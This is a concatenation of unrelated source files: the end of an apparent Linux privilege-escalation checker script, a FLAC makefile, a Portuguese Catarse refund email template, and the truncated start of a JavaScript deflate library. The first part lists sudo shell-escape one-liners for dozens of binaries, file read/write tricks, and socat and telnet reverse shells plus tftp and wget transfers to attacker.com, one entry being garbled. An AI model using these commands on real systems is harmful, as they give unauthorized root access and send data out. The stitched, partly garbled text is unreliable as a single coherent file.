# fn_dngbin "rpmquery" "/usr/bin/" "[=] sudo rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'“
# fn_dngbin "rsync" "/usr/bin/" "[=] sudo rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null”
# fn_dngbin "ruby" "/usr/bin/" "[=] sudo ruby -e 'exec \"/bin/sh\"'“
# fn_dngbin "scp" "/usr/bin/" "[=] sudo TF=$(mktemp)” “echo 'sh 0<&2 1>&2' > $TF” “chmod +x \"$TF\"“ “scp -S $TF x y:”
# fn_dngbin "sed" "/usr/bin/" "[=] sudo sed -n '1e exec sh 1>&0' /etc/hosts”
# fn_dngbin "setarch" "/usr/bin/" "[=] sudo setarch $(arch) /bin/sh”
# fn_dngbin "sftp" "/usr/bin/" "[=] sudo [email protected]” “sftp $HOST” “!/bin/sh”
# fn_dngbin "shuf" "/usr/bin/" "[=] sudo LFILE=file_to_write” “shuf -e DATA -o \"$LFILE\"“
# fn_dngbin "smbclient" "/usr/bin/" "[=] sudo smbclient \\\\ip\\share” “!/bin/sh”
# fn_dngbin "socat" "/usr/bin/" "[=] sudo RHOST=attacker.com” “RPORT=12345” “sudo -E socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane”
# fn_dngbin "sort" "/usr/bin/" "[=] sudo LFILE=file_to_read” “sort -m \"$LFILE\"“
# fn_dngbin "sqlite3" "/usr/bin/" "[=] sudo sqlite3 /dev/null '.shell /bin/sh'“
# fn_dngbin "ssh" "/usr/bin/" "[=] sudo ssh localhost $SHELL --noprofile --norc”
# fn_dngbin "stdbuf" "/usr/bin/" "[=] sudo stdbuf -i0 /bin/sh”
# fn_dngbin "strace" "/usr/bin/" "[=] sudo strace -o /dev/null /bin/sh”
# fn_dngbin "tail" "/usr/bin/" "[=] sudo LFILE=file_to_read” “tail -c1G \"$LFILE\"“
# fn_dngbin "tar" "/usr/bin/" "[=] sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh”
# fn_dngbin "taskset" "/usr/bin/" "[=] sudo taskset 1 /bin/sh”
# fn_dngbin "tclsh" "/usr/bin/" "[=] sudo tclsh” “exec /bin/sh <@stdin >@stdout 2>@stderr”
# fn_dngbin "tcpdump" "/usr/bin/" "[=] sudo COMMAND='id'“ “TF=$(mktemp)” “echo \"$COMMAND\" > $TF” “chmod +x $TF” “tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF”
# fn_dngbin "tee" "/usr/bin/" "[=] sudo LFILE=file_to_write” “echo DATA | ./tee -a \"$LFILE\"“
# fn_dngbin "telnet" "/usr/bin/" "[=] sudo RHOST=attacker.com” “RPORT=12345” “telnet $RHOST $RPORT” “^]” “!/bin/sh”
# fn_dngbin "tftp" "/usr/bin/" "[=] sudo RHOST=attacker.com” “sudo -E tftp $RHOST” “put file_to_send”
# fn_dngbin "time" "/usr/bin/" "[=] sudo /usr/bin/time /bin/sh”
# fn_dngbin "timeout" "/usr/bin/" "[=] sudo timeout 7d /bin/sh”
# fn_dngbin "ul" "/usr/bin/" "[=] sudo LFILE=file_to_read” “ul \"$LFILE\"“
# fn_dngbin "unexpand" "/usr/bin/" "[=] sudo LFILE=file_to_read” “unexpand -t99999999 \"$LFILE\"“
# fn_dngbin "uniq" "/usr/bin/" "[=] sudo LFILE=file_to_read” “uniq \"$LFILE\"“
# fn_dngbin "unshare" "/usr/bin/" "[=] sudo unshare /bin/sh”
# fn_dngbin "vi" "/usr/bin/" "[=] sudo vi -c ':!/bin/sh'“
# fn_dngbin "vim" "/usr/bin/" "[=] sudo vim -c ':!/bin/sh'“
# fn_dngbin "watch" "/usr/bin/" "[=] sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'“
# fn_dngbin "wget" "/usr/bin/" "[=] sudo export URL=http://attacker.com/file_to_get” “export LFILE=file_to_save” “sudo -E wget $URL -O $LFILE”
# fn_dngbin "whois" "/usr/bin/" "[=] sudo RHOST=att"/usr/bin/" "[=] sudo acker.com” “RPORT=12345” “LFILE=file_to_save” “whois -h $RHOST -p $RPORT > \"$LFILE\"“
# fn_dngbin "wish" "/usr/bin/" "[=] sudo wish” “exec /bin/sh <@stdin >@stdout 2>@stderr”
# fn_dngbin "xargs" "/usr/bin/" "[=] sudo xargs -a /dev/null sh”
# fn_dngbin "xxd" "/usr/bin/" "[=] sudo LFILE=file_to_write” “echo DATA | xxd | xxd -r - \"$LFILE\"“
# fn_dngbin "zip" "/usr/bin/" "[=] sudo TF=$(mktemp -u)” “zip $TF /etc/hosts -T -TT 'sh #'“ “rm $TF”
# fn_dngbin "zsh" "/usr/bin/" "[=] sudo zsh"
}
while getopts "h:k:r:e:s:t:c" option; do
case "${option}" in
k) keyword=${OPTARG};;
r) report=${OPTARG}"-"`date +"%d-%m-%y"`;;
e) export=${OPTARG};;
s) sudopass=1;;
c) sudocve=1;;
# t) thorough=1;;
h) usage; exit;;
*) usage; exit;;
esac
done
call_each()
{
header
# usage
intro
checkinitial
checkcve
checkmisconfig
checkdangenvar
checkdangbin
footer
}
call_each | tee -a $report 2> /dev/null
| {
"pile_set_name": "Github"
} |
# flac - Command-line FLAC encoder/decoder
# Copyright (C) 2000-2009 Josh Coalson
# Copyright (C) 2011-2016 Xiph.Org Foundation
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
# GNU makefile
#
topdir = ../..
libdir = $(topdir)/objs/$(BUILD)/lib
PROGRAM_NAME = iffscan
INCLUDES = -I./include -I$(topdir)/include $(OGG_INCLUDES)
ifeq ($(OS),Darwin)
EXPLICIT_LIBS = $(libdir)/libFLAC.a $(OGG_EXPLICIT_LIBS) $(ICONV_LIBS) -lm
else
ifeq ($(findstring Windows,$(OS)),Windows)
LIBS = -lFLAC -lwin_utf8_io $(OGG_LIBS) -lm
else
LIBS = -lFLAC $(OGG_LIBS) -lm
endif
endif
SRCS_C = \
foreign_metadata.c \
iffscan.c
include $(topdir)/build/exe.mk
# DO NOT DELETE THIS LINE -- make depend depends on it.
| {
"pile_set_name": "Github"
} |
- contribution = @notification.contribution
- project = contribution.project
- detail = contribution.details.ordered.first
- company_name = CatarseSettings[:company_name]
- contact_email = CatarseSettings[:email_contact]
|Olá, <strong>#{contribution.user.display_name}</strong>!
br
br
|O projeto #{contribution.project.name} foi #{project.decorator.display_mailer_status} aqui no #{company_name} e por isso reembolsamos o valor do seu apoio. O crédito efetivo deverá acontecer na fatura vigente, caso ela ainda esteja em aberto, ou na subsequente, caso a desse mês já esteja fechada.
br
br
- if detail.payment.gateway_data['paid_amount'].present?
| <strong>Valor devolvido:</strong> #{number_to_currency detail.payment.gateway_data['paid_amount']/100.0, precision: 2}
- else
| <strong>Valor devolvido:</strong> #{number_to_currency detail.value, precision: 2}
br
|<strong>Data do reembolso:</strong> #{I18n.l detail.refunded_at}
br
br
|O reembolso deve aparecer na fatura em nome do <strong>Pagar.me</strong> (meio de pagamento que usamos) ou do <strong>Catarse</strong>.
br
br
= render partial: 'user_notifier/mailer/contact_info'
| {
"pile_set_name": "Github"
} |
/* Copyright (C) 1999 Masanao Izumo <[email protected]>
* Version: 1.0.1
* LastModified: Dec 25 1999
*/
/* Interface:
* data = zip_deflate(src);
*/
/* constant parameters */
var zip_WSIZE = 32768; // Sliding Window size
var zip_STORED_BLOCK = 0;
var zip_STATIC_TREES = 1;
var zip_DYN_TREES = 2;
/* for deflate */
var zip_DEFAULT_LEVEL = 6;
var zip_FULL_SEARCH = true;
var zip_INBUFSIZ = 32768; // Input buffer size
var zip_INBUF_EXTRA = 64; // Extra buffer
var zip_OUTBUFSIZ = 1024 * 8;
var zip_window_size = 2 * zip_WSIZE;
var zip_MIN_MATCH = 3;
var zip_MAX_MATCH = 258;
var zip_BITS = 16;
// for SMALL_MEM
var zip_LIT_BUFSIZE = 0x2000;
var zip_HASH_BITS = 13;
// for MEDIUM_MEM
// var zip_LIT_BUFSIZE = 0x4000;
// var zip_HASH_BITS = 14;
// for BIG_MEM
// var zip_LIT_BUFSIZE = 0x8000;
// var zip_HASH_BITS = 15;
if (zip_LIT_BUFSIZE > zip_INBUFSIZ)
alert("error: zip_INBUFSIZ is too small");
if ((zip_WSIZE << 1) > (1 << zip_BITS))
alert("error: zip_WSIZE is too large");
if (zip_HASH_BITS > zip_BITS - 1)
alert("error: zip_HASH_BITS is too large");
if (zip_HASH_BITS < 8 || zip_MAX_MATCH != 258)
alert("error: Code too clever");
var zip_DIST_BUFSIZE = zip_LIT_BUFSIZE;
var zip_HASH_SIZE = 1 << zip_HASH_BITS;
var zip_HASH_MASK = zip_HASH_SIZE - 1;
var zip_WMASK = zip_WSIZE - 1;
var zip_NIL = 0; // Tail of hash chains
var zip_TOO_FAR = 4096;
var zip_MIN_LOOKAHEAD = zip_MAX_MATCH + zip_MIN_MATCH + 1;
var zip_MAX_DIST = zip_WSIZE - zip_MIN_LOOKAHEAD;
var zip_SMALLEST = 1;
var zip_MAX_BITS = 15;
var zip_MAX_BL_BITS = 7;
var zip_LENGTH_CODES = 29;
var zip_LITERALS = 256;
var zip_END_BLOCK = 256;
var zip_L_CODES = zip_LITERALS + 1 + zip_LENGTH_CODES;
var zip_D_CODES = 30;
var zip_BL_CODES = 19;
var zip_REP_3_6 = 16;
var zip_REPZ_3_10 = 17;
var zip_REPZ_11_138 = 18;
var zip_HEAP_SIZE = 2 * zip_L_CODES + 1;
var zip_H_SHIFT = parseInt((zip_HASH_BITS + zip_MIN_MATCH - 1) /
zip_MIN_MATCH);
/* variables */
var zip_free_queue;
var zip_qhead, zip_qtail;
var zip_initflag;
var zip_outbuf = null;
var zip_outcnt, zip_outoff;
var zip_complete;
var zip_window;
var zip_d_buf;
var zip_l_buf;
var zip_prev;
var zip_bi_buf;
var zip_bi_valid;
var zip_block_start;
var zip_ins_h;
var zip_hash_head;
var zip_prev_match;
var zip_match_available;
var zip_match_length;
var zip_prev_length;
var zip_strstart;
var zip_match_start;
var zip_eofile;
var zip_lookahead;
var zip_max_chain_length;
var zip_max_lazy_match;
var zip_compr_level;
var zip_good_match;
var zip_nice_match;
var zip_dyn_ltree;
var zip_dyn_dtree;
var zip_static_ltree;
var zip_static_dtree;
var zip_bl_tree;
var zip_l_desc;
var zip_d_desc;
var zip_bl_desc;
var zip_bl_count;
var zip_heap;
var zip_heap_len;
var zip_heap_max;
var zip_depth;
var zip_length_code;
var zip_dist_code;
var zip_base_length;
var zip_base_dist;
var zip_flag_buf;
var zip_last_lit;
var zip_last_dist;
var zip_last_flags;
var zip_flags;
var zip_flag_bit;
var zip_opt_len;
var zip_static_len;
var zip_deflate_data;
var zip_deflate_pos;
/* constant tables */
var zip_extra_lbits = new Array(
0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0);
var zip_extra_dbits = new Array(
0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13);
var zip_extra_blbits = new Array(
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 3, 7);
var zip_bl_order = new Array(
16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15);
var zip_configuration_table = new Array(
new zip_DeflateConfiguration(0, 0, 0, 0),
new zip_DeflateConfiguration(4, 4, 8, 4),
new zip_DeflateConfiguration(4, 5, 16, 8),
new zip_DeflateConfiguration(4, 6, 32, 32),
new zip_DeflateConfiguration(4, 4, 16, 16),
new zip_DeflateConfiguration(8, 16, 32, 32),
new zip_DeflateConfiguration(8, 16, 128, 128),
new zip_DeflateConfiguration(8, 32, 128, 256),
new zip_DeflateConfiguration(32, 128, 258, 1024),
new zip_DeflateConfiguration(32, 258, 258, 4096));
/* objects (deflate) */
function zip_DeflateCT() {
this.fc = 0; // frequency count or bit string
this.dl = 0; // father node in Huffman tree or length of bit string
}
function zip_DeflateTreeDesc() {
this.dyn_tree = null; // the dynamic tree
this.static_tree = null; // corresponding static tree or NULL
this.extra_bits = null; // extra bits for each code or NULL
this.extra_base = 0; // base index for extra_bits
this.elems = 0; // max number of elements in the tree
this.max_length = 0; // max bit length for the codes
this.max_code = 0; // largest code with non zero frequency
}
/* Values for max_lazy_match, good_match and max_chain_length, depending on
* the desired pack level (0..9). The values given below have been tuned to
* exclude worst case performance for pathological files. Better values may be
* found for specific files.
*/
function zip_DeflateConfiguration(a, b, c, d) {
this.good_length = a; // reduce lazy search above this match length
this.max_lazy = b; // do not perform lazy search above this match length
this.nice_length = c; // quit search above this match length
this.max_chain = d;
}
function zip_DeflateBuffer() {
this.next = null;
this.len = 0;
this.ptr = new Array(zip_OUTBUFSIZ);
this.off = 0;
}
/* routines (deflate) */
function zip_deflate_start(level) {
var i;
if (!level)
level = zip_DEFAULT_LEVEL;
else if (level < 1)
level = 1;
else if (level > 9)
level = 9;
zip_compr_level = level;
zip_initflag = false;
zip_eofile = false;
if (zip_outbuf != null)
return;
zip_free_queue = zip_qhead = zip_qtail = null;
zip_outbuf = new Array(zip_OUTBUFSIZ);
zip_window = new Array(zip_window_size);
zip_d_buf = new Array(zip_DIST_BUFSIZE);
zip_l_buf = new Array(zip_INBUFSIZ + zip_INBUF_EXTRA);
zip_prev = new Array(1 << zip_BITS);
zip_dyn_ltree = new Array(zip_HEAP_SIZE);
for (i = 0; i < zip_HEAP_SIZE; i++)
zip_dyn_ltree[i] = new zip_DeflateCT();
zip_dyn_dtree = new Array(2 * zip_D_CODES + 1);
for (i = 0; i < 2 * zip_D_CODES + 1; i++)
zip_dyn_dtree[i] = new zip_DeflateCT();
zip_static_ltree = new Array(zip_L_CODES + 2);
for (i = 0; i < zip_L_CODES + 2; i++)
zip_static_ltree[i] = new zip_DeflateCT();
zip_static_dtree = new Array(zip_D_CODES);
for (i = 0; i < zip_D_CODES; i++)
zip_static_dtree[i] = new zip_DeflateCT();
zip_bl_tree = new Array(2 * zip_BL_CODES + 1);
for (i = 0; i < 2 * zip_BL_CODES + 1; i++)
zip_bl_tree[i] = new zip_DeflateCT();
zip_l_desc = new zip_DeflateTreeDesc();
zip_d_desc = new zip_DeflateTreeDesc();
zip_bl_desc = new zip_DeflateTreeDesc();
zip_bl_count = new Array(zip_MAX_BITS + 1);
zip_heap = new Array(2 * zip_L_CODES + 1);
zip_depth = new Array(2 * zip_L_CODES + 1);
zip_length_code = new Array(zip_MAX_MATCH - zip_MIN_MATCH + 1);
zip_dist_code = new Array(512);
zip_base_length = new Array(zip_LENGTH_CODES);
zip_base_dist = new Array(zip_D_CODES);
zip_flag_buf = new Array(parseInt(zip_LIT_BUFSIZE / 8));
}
function zip_deflate_end() {
zip_free_queue = zip_qhead = zip_qtail = null;
zip_outbuf = null;
zip_window = null;
zip_d_buf = null;
zip_l_buf = null;
zip_prev = null;
zip_dyn_ltree = null;
zip_dyn_dtree = null;
zip_static_ltree = null;
zip_static_dtree = null;
zip_bl_tree = null;
zip_l_desc = null;
zip_d_desc = null;
zip_bl_desc = null;
zip_bl_count = null;
zip_heap = null;
zip_depth = null;
zip_length_code = null;
zip_dist_code = null;
zip_base_length = null;
zip_base_dist = null;
zip_flag_buf = null;
}
function zip_reuse_queue(p) {
p.next = zip_free_queue;
zip_free_queue = p;
}
function zip_new_queue() {
var p;
if (zip_free_queue != null) {
p = zip_free_queue;
zip_free_queue = zip_free_queue.next;
} else
p = new zip_DeflateBuffer();
p.next = null;
p.len = p.off = 0;
return p;
}
function zip_head1(i) {
return zip_prev[zip_WSIZE + i];
}
function zip_head2(i, val) {
return zip_prev[zip_WSIZE + i] = val;
}
/* put_byte is used for the compressed output, put_ubyte for the
* uncompressed output. However unlzw() uses window for its
* suffix table instead of its output buffer, so it does not use put_ubyte
* (to be cleaned up).
*/
function zip_put_byte(c) {
zip_outbuf[zip_outoff + zip_outcnt++] = c;
if (zip_outoff + zip_outcnt == zip_OUTBUFSIZ)
zip_qoutbuf();
}
/* Output a 16 bit value, lsb first */
function zip_put_short(w) {
w &= 0xffff;
if (zip_outoff + zip_outcnt < zip_OUTBUFSIZ - 2) {
zip_outbuf[zip_outoff + zip_outcnt++] = (w & 0xff);
zip_outbuf[zip_outoff + zip_outcnt++] = (w >>> 8);
} else {
zip_put_byte(w & 0xff);
zip_put_byte(w >>> 8);
}
}
/* ==========================================================================
* Insert string s in the dictionary and set match_head to the previous head
* of the hash chain (the most recent string with same hash key). Return
* the previous length of the hash chain.
* IN assertion: all calls to to INSERT_STRING are made with consecutive
* input characters and the first MIN_MATCH bytes of s are valid
* (except for the last MIN_MATCH-1 bytes of the input file).
*/
function zip_INSERT_STRING() {
zip_ins_h = ((zip_ins_h << zip_H_SHIFT) ^
(zip_window[zip_strstart + zip_MIN_MATCH - 1] & 0xff)) &
zip_HASH_MASK;
zip_hash_head = zip_head1(zip_ins_h);
zip_prev[zip_strstart & zip_WMASK] = zip_hash_head;
zip_head2(zip_ins_h, zip_strstart);
}
/* Send a code of the given tree. c and tree must not have side effects */
function zip_SEND_CODE(c, tree) {
zip_send_bits(tree[c].fc, tree[c].dl);
}
/* Mapping from a distance to a distance code. dist is the distance - 1 and
* must not have side effects. dist_code[256] and dist_code[257] are never
* used.
*/
function zip_D_CODE(dist) {
return (dist < 256 ? zip_dist_code[dist] :
zip_dist_code[256 + (dist >> 7)]) & 0xff;
}
/* ==========================================================================
* Compares to subtrees, using the tree depth as tie breaker when
* the subtrees have equal frequency. This minimizes the worst case length.
*/
function zip_SMALLER(tree, n, m) {
return tree[n].fc < tree[m].fc ||
(tree[n].fc == tree[m].fc && zip_depth[n] <= zip_depth[m]);
}
/* ==========================================================================
* read string data
*/
function zip_read_buff(buff, offset, n) {
var i;
for (i = 0; i < n && zip_deflate_pos < zip_deflate_data.length; i++)
buff[offset + i] =
zip_deflate_data.charCodeAt(zip_deflate_pos++) & 0xff;
return i;
}
/* ==========================================================================
* Initialize the "longest match" routines for a new file
*/
function zip_lm_init() {
var j;
/* Initialize the hash table. */
for (j = 0; j < zip_HASH_SIZE; j++)
// zip_head2(j, zip_NIL);
zip_prev[zip_WSIZE + j] = 0;
/* prev will be initialized on the fly */
/* Set the default configuration parameters:
*/
zip_max_lazy_match = zip_configuration_table[zip_compr_level].max_lazy;
zip_good_match = zip_configuration_table[zip_compr_level].good_length;
if (!zip_FULL_SEARCH)
zip_nice_match = zip_configuration_table[zip_compr_level].nice_length;
zip_max_chain_length = zip_configuration_table[zip_compr_level].max_chain;
zip_strstart = 0;
zip_block_start = 0;
zip_lookahead = zip_read_buff(zip_window, 0, 2 * zip_WSIZE);
if (zip_lookahead <= 0) {
zip_eofile = true;
zip_lookahead = 0;
return;
}
zip_eofile = false;
/* Make sure that we always have enough lookahead. This is important
* if input comes from a device such as a tty.
*/
while (zip_lookahead < zip_MIN_LOOKAHEAD && !zip_eofile)
zip_fill_window();
/* If lookahead < MIN_MATCH, ins_h is garbage, but this is
* not important since only literal bytes will be emitted.
*/
zip_ins_h = 0;
for (j = 0; j < zip_MIN_MATCH - 1; j++) {
// UPDATE_HASH(ins_h, window[j]);
zip_ins_h = ((zip_ins_h << zip_H_SHIFT) ^ (zip_window[j] & 0xff)) & zip_HASH_MASK;
}
}
/* ==========================================================================
* Set match_start to the longest match starting at the given string and
* return its length. Matches shorter or equal to prev_length are discarded,
* in which case the result is equal to prev_length and match_start is
* garbage.
* IN assertions: cur_match is the head of the hash chain for the current
* string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1
*/
function zip_longest_match(cur_match) {
var chain_length = zip_max_chain_length; // max hash chain length
var scanp = zip_strstart; // current string
var matchp; // matched string
var len; // length of current match
var best_len = zip_prev_length; // best match length so far
/* Stop when cur_match becomes <= limit. To simplify the code,
* we prevent matches with the string of window index 0.
*/
var limit = (zip_strstart > zip_MAX_DIST ? zip_strstart - zip_MAX_DIST : zip_NIL);
var strendp = zip_strstart + zip_MAX_MATCH;
var scan_end1 = zip_window[scanp + best_len - 1];
var scan_end = zip_window[scanp + best_len];
/* Do not waste too much time if we already have a good match: */
if (zip_prev_length >= zip_good_match)
chain_length >>= 2;
// Assert(encoder->strstart <= window_size-MIN_LOOKAHEAD, "insufficient lookahead");
do {
// Assert(cur_match < encoder->strstart, "no future");
matchp = cur_match;
/* Skip to next match if the match length cannot increase
* or if the match length is less than 2:
*/
if (zip_window[matchp + best_len] != scan_end ||
zip_window[matchp + best_len - 1] != scan_end1 ||
zip_window[matchp] != zip_window[scanp] ||
zip_window[++matchp] != zip_window[scanp + 1]) {
continue;
}
/* The check at best_len-1 can be removed because it will be made
* again later. (This heuristic is not always a win.)
* It is not necessary to compare scan[2] and match[2] since they
* are always equal when the other bytes match, given that
* the hash keys are equal and that HASH_BITS >= 8.
*/
scanp += 2;
matchp++;
/* We check for insufficient lookahead only every 8th comparison;
* the 256th check will be made at strstart+258.
*/
do {} while (zip_window[++scanp] == zip_window[++matchp] &&
zip_window[++scanp] == zip_window[++matchp] &&
zip_window[++scanp] == zip_window[++matchp] &&
zip_window[++scanp] == zip_window[++matchp] &&
zip_window[++scanp] == zip_window[++matchp] &&
zip_window[++scanp] == zip_window[++matchp] &&
zip_window[++scanp] == zip_window[++matchp] &&
zip_window[++scanp] == zip_window[++matchp] &&
scanp < strendp);
len = zip_MAX_MATCH - (strendp - scanp);
scanp = strendp - zip_MAX_MATCH;
if (len > best_len) {
zip_match_start = cur_match;
best_len = len;
if (zip_FULL_SEARCH) {
if (len >= zip_MAX_MATCH) break;
} else {
if (len >= zip_nice_match) break;
}
scan_end1 = zip_window[scanp + best_len - 1];
scan_end = zip_window[scanp + best_len];
}
} while ((cur_match = zip_prev[cur_match & zip_WMASK]) > limit &&
--chain_length != 0);
return best_len;
}
/* ==========================================================================
* Fill the window when the lookahead becomes insufficient.
* Updates strstart and lookahead, and sets eofile if end of input file.
* IN assertion: lookahead < MIN_LOOKAHEAD && strstart + lookahead > 0
* OUT assertions: at least one byte has been read, or eofile is set;
* file reads are performed for at least two bytes (required for the
* translate_eol option).
*/
function zip_fill_window() {
var n, m;
// Amount of free space at the end of the window.
var more = zip_window_size - zip_lookahead - zip_strstart;
/* If the window is almost full and there is insufficient lookahead,
* move the upper half to the lower one to make room in the upper half.
*/
if (more == -1) {
/* Very unlikely, but possible on 16 bit machine if strstart == 0
* and lookahead == 1 (input done one byte at time)
*/
more--;
} else if (zip_strstart >= zip_WSIZE + zip_MAX_DIST) {
/* By the IN assertion, the window is not empty so we can't confuse
* more == 0 with more == 64K on a 16 bit machine.
*/
// Assert(window_size == (ulg)2*WSIZE, "no sliding with BIG_MEM");
// System.arraycopy(window, WSIZE, window, 0, WSIZE);
for (n = 0; n < zip_WSIZE; n++)
zip_window[n] = zip_window[n + zip_WSIZE];
zip_match_start -= zip_WSIZE;
zip_strstart -= zip_WSIZE; /* we now have strstart >= MAX_DIST: */
zip_block_start -= zip_WSIZE;
for (n = 0; n < zip_HASH_SIZE; n++) {
m = zip_head1(n);
zip_head2(n, m >= zip_WSIZE ? m - zip_WSIZE : zip_NIL);
}
for (n = 0; n < zip_WSIZE; n++) {
/* If n is not on any hash chain, prev[n] is garbage but
* its value will never be used.
*/
m = zip_prev[n];
zip_prev[n] = (m >= zip_WSIZE ? m - zip_WSIZE : zip_NIL);
}
more += zip_WSIZE;
}
// At this point, more >= 2
if (!zip_eofile) {
n = zip_read_buff(zip_window, zip_strstart + zip_lookahead, more);
if (n <= 0)
zip_eofile = true;
else
zip_lookahead += n;
}
}
/* ==========================================================================
* Processes a new input file and return its compressed length. This
* function does not perform lazy evaluationof matches and inserts
* new strings in the dictionary only for unmatched strings or for short
* matches. It is used only for the fast compression options.
*/
function zip_deflate_fast() {
while (zip_lookahead != 0 && zip_qhead == null) {
var flush; // set if current block must be flushed
/* Insert the string window[strstart .. strstart+2] in the
* dictionary, and set hash_head to the head of the hash chain:
*/
zip_INSERT_STRING();
/* Find the longest match, discarding those <= prev_length.
* At this point we have always match_length < MIN_MATCH
*/
if (zip_hash_head != zip_NIL &&
zip_strstart - zip_hash_head <= zip_MAX_DIST) {
/* To simplify the code, we prevent matches with the string
* of window index 0 (in particular we have to avoid a match
* of the string with itself at the start of the input file).
*/
zip_match_length = zip_longest_match(zip_hash_head);
/* longest_match() sets match_start */
if (zip_match_length > zip_lookahead)
zip_match_length = zip_lookahead;
}
if (zip_match_length >= zip_MIN_MATCH) {
// check_match(strstart, match_start, match_length);
flush = zip_ct_tally(zip_strstart - zip_match_start,
zip_match_length - zip_MIN_MATCH);
zip_lookahead -= zip_match_length;
/* Insert new strings in the hash table only if the match length
* is not too large. This saves time but degrades compression.
*/
if (zip_match_length <= zip_max_lazy_match) {
zip_match_length--; // string at strstart already in hash table
do {
zip_strstart++;
zip_INSERT_STRING();
/* strstart never exceeds WSIZE-MAX_MATCH, so there are
* always MIN_MATCH bytes ahead. If lookahead < MIN_MATCH
* these bytes are garbage, but it does not matter since
* the next lookahead bytes will be emitted as literals.
*/
} while (--zip_match_length != 0);
zip_strstart++;
} else {
zip_strstart += zip_match_length;
zip_match_length = 0;
zip_ins_h = zip_window[zip_strstart] & 0xff;
// UPDATE_HASH(ins_h, window[strstart + 1]);
zip_ins_h = ((zip_ins_h << zip_H_SHIFT) ^ (zip_window[zip_strstart + 1] & 0xff)) & zip_HASH_MASK;
//#if MIN_MATCH != 3
// Call UPDATE_HASH() MIN_MATCH-3 more times
//#endif
}
} else {
/* No match, output a literal byte */
flush = zip_ct_tally(0, zip_window[zip_strstart] & 0xff);
zip_lookahead--;
zip_strstart++;
}
if (flush) {
zip_flush_block(0);
zip_block_start = zip_strstart;
}
/* Make sure that we always have enough lookahead, except
* at the end of the input file. We need MAX_MATCH bytes
* for the next match, plus MIN_MATCH bytes to insert the
* string following the next match.
*/
while (zip_lookahead < zip_MIN_LOOKAHEAD && !zip_eofile)
zip_fill_window();
}
}
function zip_deflate_better() {
/* Process the input block. */
while (zip_lookahead != 0 && zip_qhead == null) {
/* Insert the string window[strstart .. strstart+2] in the
* dictionary, and set hash_head to the head of the hash chain:
*/
zip_INSERT_STRING();
/* Find the longest match, discarding those <= prev_length.
*/
zip_prev_length = zip_match_length;
zip_prev_match = zip_match_start;
zip_match_length = zip_MIN_MATCH - 1;
if (zip_hash_head != zip_NIL &&
zip_prev_length < zip_max_lazy_match &&
zip_strstart - zip_hash_head <= zip_MAX_DIST) {
/* To simplify the code, we prevent matches with the string
* of window index 0 (in particular we have to avoid a match
* of the string with itself at the start of the input file).
*/
zip_match_length = zip_longest_match(zip_hash_head);
/* longest_match() sets match_start */
if (zip_match_length > zip_lookahead)
zip_match_length = zip_lookahead;
/* Ignore a length 3 match if it is too distant: */
if (zip_match_length == zip_MIN_MATCH &&
zip_strstart - zip_match_start > zip_TOO_FAR) {
/* If prev_match is also MIN_MATCH, match_start is garbage
* but we will ignore the current match anyway.
*/
zip_match_length--;
}
}
/* If there was a match at the previous step and the current
* match is not better, output the previous match:
*/
if (zip_prev_length >= zip_MIN_MATCH &&
zip_match_length <= zip_prev_length) {
var flush; // set if current block must be flushed
// check_match(strstart - 1, prev_match, prev_length);
flush = zip_ct_tally(zip_strstart - 1 - zip_prev_match,
zip_prev_length - zip_MIN_MATCH);
/* Insert in hash table all strings up to the end of the match.
* strstart-1 and strstart are already inserted.
*/
zip_lookahead -= zip_prev_length - 1;
zip_prev_length -= 2;
do {
zip_strstart++;
zip_INSERT_STRING();
/* strstart never exceeds WSIZE-MAX_MATCH, so there are
* always MIN_MATCH bytes ahead. If lookahead < MIN_MATCH
* these bytes are garbage, but it does not matter since the
* next lookahead bytes will always be emitted as literals.
*/
} while (--zip_prev_length != 0);
zip_match_available = 0;
zip_match_length = zip_MIN_MATCH - 1;
zip_strstart++;
if (flush) {
zip_flush_block(0);
zip_block_start = zip_strstart;
}
} else if (zip_match_available != 0) {
/* If there was no match at the previous position, output a
* single literal. If there was a match but the current match
* is longer, truncate the previous match to a single literal.
*/
if (zip_ct_tally(0, zip_window[zip_strstart - 1] & 0xff)) {
zip_flush_block(0);
zip_block_start = zip_strstart;
}
zip_strstart++;
zip_lookahead--;
} else {
/* There is no previous match to compare with, wait for
* the next step to decide.
*/
zip_match_available = 1;
zip_strstart++;
zip_lookahead--;
}
/* Make sure that we always have enough lookahead, except
* at the end of the input file. We need MAX_MATCH bytes
* for the next match, plus MIN_MATCH bytes to insert the
* string following the next match.
*/
while (zip_lookahead < zip_MIN_LOOKAHEAD && !zip_eofile)
zip_fill_window();
}
}
function zip_init_deflate() {
if (zip_eofile)
return;
zip_bi_buf = 0;
zip_bi_valid = 0;
zip_ct_init();
zip_lm_init();
zip_qhead = null;
zip_outcnt = 0;
zip_outoff = 0;
if (zip_compr_level <= 3) {
zip_prev_length = zip_MIN_MATCH - 1;
zip_match_length = 0;
} else {
zip_match_length = zip_MIN_MATCH - 1;
zip_match_available = 0;
}
zip_complete = false;
}
/* ==========================================================================
* Same as above, but achieves better compression. We use a lazy
* evaluation for matches: a match is finally adopted only if there is
* no better match at the next window position.
*/
function zip_deflate_internal(buff, off, buff_size) {
var n;
if (!zip_initflag) {
zip_init_deflate();
